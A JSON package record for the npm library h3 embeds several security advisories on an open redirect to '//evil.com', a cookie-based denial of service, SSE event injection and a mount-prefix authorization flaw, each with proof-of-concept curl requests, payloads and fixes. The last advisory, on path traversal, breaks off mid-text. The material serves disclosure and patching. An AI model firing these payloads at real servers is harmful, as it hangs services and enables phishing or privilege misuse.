itHub/repositories/unjs%2Fh3/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2024-10-29T21:28:04.549Z","dependent_packages_count":330,"downloads":63753814,"downloads_period":"last-month","dependent_repos_count":10648,"rankings":{"downloads":0.1619060642199367,"dependent_repos_count":0.24468046949956512,"dependent_packages_count":0.16069623451224882,"stargazers_count":1.91899877155385,"forks_count":2.9654423560565193,"docker_downloads_count":0.4323659693516136,"average":0.9806816441989555},"purl":"pkg:npm/h3","advisories":[{"uuid":"GSA_kwCzR0hTQS1mcDR4LWdncmYtd21jNs4ABUDb","url":"https://github.com/advisories/GHSA-fp4x-ggrf-wmc6","title":"H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation","description":"## Summary\n\nThe `redirectBack()` utility in h3 validates that the `Referer` header shares the same origin as the request before using its pathname as the redirect `Location`. However, the pathname is not sanitized for protocol-relative paths (starting with `//`). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a `Location` header interpreted by browsers as a protocol-relative redirect to an external domain.\n\n## Details\n\nThe vulnerable code is in `src/utils/response.ts:89-97`:\n\n```typescript\nexport function redirectBack(\n  event: H3Event,\n  opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},\n): HTTPResponse {\n  const referer = event.req.headers.get(\"referer\");\n  let location = opts.fallback ?? \"/\";\n  if (referer \u0026\u0026 URL.canParse(referer)) {\n    const refererURL = new URL(referer);\n    if (refererURL.origin === event.url.origin) {\n      // BUG: pathname can be \"//evil.com/path\" which browsers interpret\n      // as a protocol-relative URL\n      location = refererURL.pathname + (opts.allowQuery ? refererURL.search : \"\");\n    }\n  }\n  return redirect(location, opts.status);\n}\n```\n\nThe root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths:\n\n1. `new URL(\"http://target.com//evil.com/path\").origin` → `\"http://target.com\"` — origin check **passes**\n2. `new URL(\"http://target.com//evil.com/path\").pathname` → `\"//evil.com/path\"` — extracted as redirect location\n3. Browser receives `Location: //evil.com/path` → interprets as protocol-relative URL → **redirects to `evil.com`**\n\n**Attack scenario:** The attacker shares a link like `http://target.com//evil.com/page`. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling `redirectBack()`, the browser sends `Referer: http://target.com//evil.com/page`. The origin check passes, and the user is redirected to `evil.com`, which can host a phishing page mimicking the target.\n\n## PoC\n\n```bash\n# 1. Create a minimal h3 app with redirectBack\ncat \u003e /tmp/h3-redirect-poc.ts \u003c\u003c 'SCRIPT'\nimport { H3, redirectBack } from \"h3\";\n\nconst app = new H3();\napp.post(\"/submit\", (event) =\u003e redirectBack(event));\n\nconst res = await app.fetch(new Request(\"http://localhost/submit\", {\n  method: \"POST\",\n  headers: { referer: \"http://localhost//evil.com/steal\" }\n}));\n\nconsole.log(\"Status:\", res.status);\nconsole.log(\"Location:\", res.headers.get(\"location\"));\n// Expected: a same-origin path\n// Actual: \"//evil.com/steal\" — protocol-relative redirect to evil.com\nSCRIPT\n\n# 2. Verify URL parsing behavior\nnode -e \"\nconst u = new URL('http://localhost//evil.com/steal');\nconsole.log('origin:', u.origin);         // http://localhost\nconsole.log('pathname:', u.pathname);     // //evil.com/steal\nconsole.log('origin matches localhost:', u.origin === 'http://localhost');  // true\n\"\n# Output:\n# origin: http://localhost\n# pathname: //evil.com/steal\n# origin matches localhost: true\n```\n\n## Impact\n\nAn attacker can redirect users from a trusted application to an attacker-controlled domain. This enables:\n\n- **Credential phishing**: Redirect to a lookalike login page to harvest credentials\n- **OAuth token theft**: In OAuth flows using `redirectBack()`, steal authorization codes by redirecting to an attacker's callback\n- **Trust exploitation**: Users see the initial link points to the trusted domain, lowering suspicion\n\nThe vulnerability requires no authentication and affects any endpoint using `redirectBack()`.\n\n## Recommended Fix\n\nSanitize the extracted pathname to prevent protocol-relative URLs. In `src/utils/response.ts`, after extracting the pathname from the referer:\n\n```typescript\nexport function redirectBack(\n  event: H3Event,\n  opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},\n): HTTPResponse {\n  const referer = event.req.headers.get(\"referer\");\n  let location = opts.fallback ?? \"/\";\n  if (referer \u0026\u0026 URL.canParse(referer)) {\n    const refererURL = new URL(referer);\n    if (refererURL.origin === event.url.origin) {\n      let pathname = refererURL.pathname;\n      // Prevent protocol-relative open redirect (e.g., \"//evil.com\")\n      if (pathname.startsWith(\"//\")) {\n        pathname = \"/\" + pathname.replace(/^\\/+/, \"\");\n      }\n      location = pathname + (opts.allowQuery ? refererURL.search : \"\");\n    }\n  }\n  return redirect(location, opts.status);\n}\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-23T21:48:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-fp4x-ggrf-wmc6","https://github.com/h3js/h3/commit/459a1c6593365b0810e9c502df7c3e82837321d7","https://github.com/h3js/h3/releases/tag/v2.0.1-rc.18","https://github.com/advisories/GHSA-fp4x-ggrf-wmc6"],"source_kind":"github","identifiers":["GHSA-fp4x-ggrf-wmc6"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-23T22:00:08.742Z","updated_at":"2026-05-07T07:00:58.719Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcDR4LWdncmYtd21jNs4ABUDb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcDR4LWdncmYtd21jNs4ABUDb","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"2.0.1-rc.18","vulnerable_version_range":"= 2.0.1-rc.17"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcDR4LWdncmYtd21jNs4ABUDb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNXByLTcycHEtODN2M84ABUDa","url":"https://github.com/advisories/GHSA-q5pr-72pq-83v3","title":"H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service","description":"## Summary\n\nThe `setChunkedCookie()` and `deleteChunkedCookie()` functions in h3 trust the chunk count parsed from a user-controlled cookie value (`__chunked__N`) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., `Cookie: h3=__chunked__999999`) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.\n\n## Details\n\nThe chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value `__chunked__N` indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.\n\nThe vulnerability is in `getChunkedCookieCount()` at `src/utils/cookie.ts:244-249`:\n\n```typescript\nfunction getChunkedCookieCount(cookie: string | undefined): number {\n  if (!cookie?.startsWith(CHUNKED_COOKIE)) {\n    return Number.NaN;\n  }\n  return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));\n  // No upper bound check — attacker controls this value\n}\n```\n\nThis value is consumed without validation in the cleanup loop of `setChunkedCookie()` at `src/utils/cookie.ts:182-190`:\n\n```typescript\nconst previousCookie = getCookie(event, name); // reads from request headers\nif (previousCookie?.startsWith(CHUNKED_COOKIE)) {\n  const previousChunkCount = getChunkedCookieCount(previousCookie);\n  if (previousChunkCount \u003e chunkCount) {\n    for (let i = chunkCount; i \u003c= previousChunkCount; i++) {\n      deleteCookie(event, chunkCookieName(name, i), options);\n      // Each deleteCookie → setCookie → scans ALL existing set-cookie headers\n    }\n  }\n}\n```\n\nThe same issue exists in `deleteChunkedCookie()` at `src/utils/cookie.ts:227-232`:\n\n```typescript\nconst chunksCount = getChunkedCookieCount(mainCookie);\nif (chunksCount \u003e= 0) {\n  for (let i = 0; i \u003c chunksCount; i++) {\n    deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);\n  }\n}\n```\n\n**The exploit chain through sessions:**\n\n1. Attacker sends `Cookie: h3=__chunked__999999` to any session-using endpoint\n2. `getSession()` (`src/utils/session.ts:83`) calls `getChunkedCookie(event, \"h3\")` (line 124)\n3. `getChunkedCookie()` returns `undefined` — the early return at line 153 fires because no actual chunk cookies (e.g., `h3.1`) exist in the request\n4. Since `sealedSession` is undefined, `session.id` remains empty (line 140), triggering `updateSession()` (line 143)\n5. `updateSession()` calls `setChunkedCookie()` with the newly sealed session value (line 179)\n6. Inside `setChunkedCookie()`, `getCookie(event, name)` re-reads the original request cookie `__chunked__999999` at line 182\n7. `previousChunkCount` = 999999, `chunkCount` = 1 (new sealed session is small)\n8. The cleanup loop runs 999,998 iterations, each calling `deleteCookie()` → `setCookie()`\n9. Each `setCookie()` call reads ALL existing `set-cookie` response headers via `getSetCookie()` (line 91) and iterates through them for deduplication (lines 100-106)\n10. This creates O(n²) complexity — approximately 10¹² operations for n=999999\n\n**Key observation:** While `getChunkedCookie()` has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in `setChunkedCookie()` and `deleteChunkedCookie()` have no such protection and run unconditionally for the full claimed chunk count.\n\n## PoC\n\n**Prerequisites:** An h3 application with any endpoint using `getSession()` or `useSession()`.\n\nExample minimal server:\n\n```typescript\nimport { H3 } from \"h3\";\nimport { getSession } from \"h3\";\n\nconst app = new H3();\n\napp.get(\"/dashboard\", async (event) =\u003e {\n  const session = await getSession(event, {\n    password: \"my-secret-password-at-least-32-chars-long!\",\n  });\n  return { user: session.data.user || \"anonymous\" };\n});\n\nexport default app;\n```\n\n**Attack (single request, no authentication):**\n\n```bash\n# This single request will hang the server process\ncurl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard\n```\n\nFor a less extreme but still impactful test:\n\n```bash\n# ~100K iterations — will take several seconds and block all other requests\ncurl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard\n```\n\nThe `deleteChunkedCookie()` path is exploitable via `clearSession()`:\n\n```typescript\napp.post(\"/logout\", async (event) =\u003e {\n  await clearSession(event, {\n    password: \"my-secret-password-at-least-32-chars-long!\",\n  });\n  return { ok: true };\n});\n```\n\n```bash\ncurl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout\n```\n\n## Impact\n\n- **Complete Denial of Service**: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.\n- **No authentication required**: The attack only requires the ability to send HTTP requests with a crafted cookie header.\n- **Minimal attacker effort**: The payload is trivially small (`Cookie: h3=__chunked__999999`), making it easy to automate or repeat.\n- **Wide attack surface**: Any endpoint in the application that uses `getSession()`, `useSession()`, or `clearSession()` is vulnerable. Session usage is extremely common in web applications.\n- **Amplification**: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.\n\n## Recommended Fix\n\nAdd a maximum chunk count constant and validate in `getChunkedCookieCount()`:\n\n```typescript\nconst MAX_CHUNKED_COOKIE_COUNT = 100;\n\nfunction getChunkedCookieCount(cookie: string | undefined): number {\n  if (!cookie?.startsWith(CHUNKED_COOKIE)) {\n    return Number.NaN;\n  }\n  const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));\n  if (Number.isNaN(count) || count \u003c 0 || count \u003e MAX_CHUNKED_COOKIE_COUNT) {\n    return Number.NaN;\n  }\n  return count;\n}\n```\n\nThis clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), `MAX_CHUNKED_COOKIE_COUNT = 100` is generous while eliminating the DoS vector.\n\nAdditionally, the callers should be updated to handle `NaN` safely. The cleanup loop in `setChunkedCookie()` already handles this correctly since `NaN \u003e chunkCount` is false, so the loop won't execute. The `deleteChunkedCookie()` loop also handles it since `NaN \u003e= 0` is false.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-23T21:44:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/h3js/h3/security/advisories/GHSA-q5pr-72pq-83v3","https://github.com/h3js/h3/commit/399257cb406fbeda313d88c1e288a15124fc82af","https://github.com/h3js/h3/releases/tag/v2.0.1-rc.18","https://github.com/advisories/GHSA-q5pr-72pq-83v3"],"source_kind":"github","identifiers":["GHSA-q5pr-72pq-83v3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-23T22:00:08.742Z","updated_at":"2026-05-07T07:00:58.720Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNXByLTcycHEtODN2M84ABUDa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNXByLTcycHEtODN2M84ABUDa","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"2.0.1-rc.18","vulnerable_version_range":"\u003e= 2.0.0-beta.4, \u003c 2.0.1-rc.18"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNXByLTcycHEtODN2M84ABUDa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00aHhjLTkzODQtbTM4Nc4ABT7r","url":"https://github.com/advisories/GHSA-4hxc-9384-m385","title":"h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)","description":"## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) =\u003e {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() =\u003e stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-20T20:50:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385","https://github.com/advisories/GHSA-4hxc-9384-m385"],"source_kind":"github","identifiers":["GHSA-4hxc-9384-m385"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T21:00:10.452Z","updated_at":"2026-05-07T07:00:59.937Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aHhjLTkzODQtbTM4Nc4ABT7r","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00aHhjLTkzODQtbTM4Nc4ABT7r","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"1.15.9","vulnerable_version_range":"\u003c 1.15.9"},{"first_patched_version":"2.0.1-rc.17","vulnerable_version_range":"\u003e= 2.0.0-beta.0, \u003c= 2.0.1-rc.16"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aHhjLTkzODQtbTM4Nc4ABT7r/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yajZxLXdodjItZ2g2d84ABT7q","url":"https://github.com/advisories/GHSA-2j6q-whv2-gh6w","title":"h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes","description":"## Summary\n\nThe `mount()` method in h3 uses a simple `startsWith()` check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is `/` or end-of-string), middleware registered on a mount like `/admin` will also execute for unrelated routes such as `/admin-public`, `/administrator`, or `/adminstuff`. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.\n\n## Details\n\nThe root cause is in `src/h3.ts:127` within the `mount()` method:\n\n```typescript\n// src/h3.ts:122-135\nmount(base: string, input: FetchHandler | FetchableObject | H3Type) {\n  if (\"handler\" in input) {\n    if (input[\"~middleware\"].length \u003e 0) {\n      this[\"~middleware\"].push((event, next) =\u003e {\n        const originalPathname = event.url.pathname;\n        if (!originalPathname.startsWith(base)) {  // \u003c-- BUG: no segment boundary check\n          return next();\n        }\n        event.url.pathname = event.url.pathname.slice(base.length) || \"/\";\n        return callMiddleware(event, input[\"~middleware\"], () =\u003e {\n          event.url.pathname = originalPathname;\n          return next();\n        });\n      });\n    }\n```\n\nWhen a sub-app is mounted at `/admin`, the check `originalPathname.startsWith(\"/admin\")` returns `true` for `/admin`, `/admin/`, `/admin/dashboard`, but also for `/admin-public`, `/administrator`, `/adminFoo`, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.\n\nA secondary instance of the same flaw exists in `src/utils/internal/path.ts:40`:\n\n```typescript\n// src/utils/internal/path.ts:35-45\nexport function withoutBase(input: string = \"\", base: string = \"\"): string {\n  if (!base || base === \"/\") {\n    return input;\n  }\n  const _base = withoutTrailingSlash(base);\n  if (!input.startsWith(_base)) {  // \u003c-- Same flaw: no segment boundary check\n    return input;\n  }\n  const trimmed = input.slice(_base.length);\n  return trimmed[0] === \"/\" ? trimmed : \"/\" + trimmed;\n}\n```\n\nThe `withoutBase()` utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., `withoutBase(\"/admin-public/info\", \"/admin\")` returns `/-public/info`).\n\n**Exploitation flow:**\n\n1. Developer mounts a sub-app at `/admin` with middleware that sets `event.context.isAdmin = true`\n2. Developer defines a separate route `/admin-public/info` on the parent app that reads `event.context.isAdmin`\n3. Attacker requests `GET /admin-public/info`\n4. The `/admin` mount's `startsWith` check passes → admin middleware executes → sets `isAdmin = true`\n5. The middleware's \"restore pathname\" callback fires, control returns to the parent app\n6. The `/admin-public/info` handler sees `event.context.isAdmin === true`\n\n## PoC\n\n```javascript\n// poc.js — demonstrates context pollution across mount boundaries\nimport { H3 } from \"h3\";\n\nconst adminApp = new H3();\n\n// Admin middleware sets privileged context\nadminApp.use(() =\u003e {}, {\n  onRequest: (event) =\u003e {\n    event.context.isAdmin = true;\n  }\n});\n\nadminApp.get(\"/dashboard\", (event) =\u003e {\n  return { admin: true, context: event.context };\n});\n\nconst app = new H3();\n\n// Mount admin sub-app at /admin\napp.mount(\"/admin\", adminApp);\n\n// Public route that happens to share the \"/admin\" prefix\napp.get(\"/admin-public/info\", (event) =\u003e {\n  return {\n    path: event.url.pathname,\n    isAdmin: event.context.isAdmin ?? false,  // Should always be false here\n  };\n});\n\n// Test with fetch\nconst server = Bun.serve({ port: 3000, fetch: app.fetch });\n\n// This request should NOT trigger admin middleware, but it does\nconst res = await fetch(\"http://localhost:3000/admin-public/info\");\nconst body = await res.json();\nconsole.log(body);\n// Actual output: { path: \"/admin-public/info\", isAdmin: true }\n// Expected output: { path: \"/admin-public/info\", isAdmin: false }\n\nserver.stop();\n```\n\n**Steps to reproduce:**\n\n```bash\n# 1. Clone h3 and install\ngit clone https://github.com/h3js/h3 \u0026\u0026 cd h3\ncorepack enable \u0026\u0026 pnpm install \u0026\u0026 pnpm build\n\n# 2. Save poc.js (above) and run\nbun poc.js\n# Output shows isAdmin: true — admin middleware leaked to /admin-public/info\n\n# 3. Verify the boundary leak with additional paths:\n# GET /administrator → admin middleware fires\n# GET /adminstuff   → admin middleware fires\n# GET /admin123     → admin middleware fires\n# GET /admi         → admin middleware does NOT fire (correct)\n```\n\n## Impact\n\n- **Context pollution across mount boundaries**: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (`isAdmin`, `isAuthenticated`, role assignments) on requests to completely unrelated routes.\n- **Authorization bypass**: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler.\n- **Path mangling**: The `withoutBase()` utility produces incorrect paths (e.g., `/-public/info` instead of `/admin-public/info`) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.\n- **Scope**: Any h3 v2 application using `mount()` with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.\n\n## Recommended Fix\n\nAdd a segment boundary check after the `startsWith` call in both locations. The character immediately following the base prefix must be `/`, `?`, `#`, or the string must end exactly at the base:\n\n**Fix for `src/h3.ts:127`:**\n\n```diff\n mount(base: string, input: FetchHandler | FetchableObject | H3Type) {\n   if (\"handler\" in input) {\n     if (input[\"~middleware\"].length \u003e 0) {\n       this[\"~middleware\"].push((event, next) =\u003e {\n         const originalPathname = event.url.pathname;\n-        if (!originalPathname.startsWith(base)) {\n+        if (!originalPathname.startsWith(base) ||\n+            (originalPathname.length \u003e base.length \u0026\u0026 originalPathname[base.length] !== \"/\")) {\n           return next();\n         }\n```\n\n**Fix for `src/utils/internal/path.ts:40`:**\n\n```diff\n export function withoutBase(input: string = \"\", base: string = \"\"): string {\n   if (!base || base === \"/\") {\n     return input;\n   }\n   const _base = withoutTrailingSlash(base);\n-  if (!input.startsWith(_base)) {\n+  if (!input.startsWith(_base) ||\n+      (input.length \u003e _base.length \u0026\u0026 input[_base.length] !== \"/\")) {\n     return input;\n   }\n```\n\nThis ensures that `/admin` only matches `/admin`, `/admin/`, and `/admin/...` — never `/admin-public`, `/administrator`, or other coincidental string-prefix matches.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-03-20T20:50:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-2j6q-whv2-gh6w","https://nvd.nist.gov/vuln/detail/CVE-2026-33490","https://github.com/advisories/GHSA-2j6q-whv2-gh6w"],"source_kind":"github","identifiers":["GHSA-2j6q-whv2-gh6w","CVE-2026-33490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T21:00:10.452Z","updated_at":"2026-05-09T06:01:00.689Z","epss_percentage":0.00021,"epss_percentile":0.05911,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yajZxLXdodjItZ2g2d84ABT7q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yajZxLXdodjItZ2g2d84ABT7q","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"2.0.1-rc.17","vulnerable_version_range":"\u003e= 2.0.1-alpha.0, \u003c= 2.0.1-rc.16"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yajZxLXdodjItZ2g2d84ABT7q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03MmdyLXFmcDctdndod84ABT7p","url":"https://github.com/advisories/GHSA-72gr-qfp7-vwhw","title":"h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`","description":"## Summary\n\nThe `serveStatic` utility in h3 applies a redundant `decodeURI()` call to the request pathname after `H3Event` has already performed percent-decoding with `%25` preservation. This double decoding converts `%252e%252e` into `%2e%2e`, which bypasses `resolveDotSegments()` (since it checks for literal `.` characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), `%2e%2e` is interpreted as `..` per the URL Standard, enabling path traversal to read arbitrary files from the backend.\n\n## Details\n\nThe vulnerability is a conflict between two decoding stages:\n\n**Stage 1 — `H3Event` constructor** (`src/event.ts:65-69`):\n\n```typescript\nif (url.pathname.includes(\"%\")) {\n  url.pathname = decodeURI(\n    url.pathname.includes(\"%25\") ? url.pathname.replace(/%25/g, \"%2525\") : url.pathname,\n  );\n}\n```\n\nThis correctly preserves `%25` sequences by escaping them before decoding. A request for `/%252e%252e/etc/passwd` produces `event.url.pathname` = `/%2e%2e/etc/passwd` — the `%25` was preserved so `%252e` became `%2e` (not `.`).\n\n**Stage 2 — `serveStatic`** (`src/utils/static.ts:86-88`):\n\n```typescript\nconst originalId = resolveDotSegments(\n  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n);\n```\n\nThis applies a **second** `decodeURI()`, which decodes 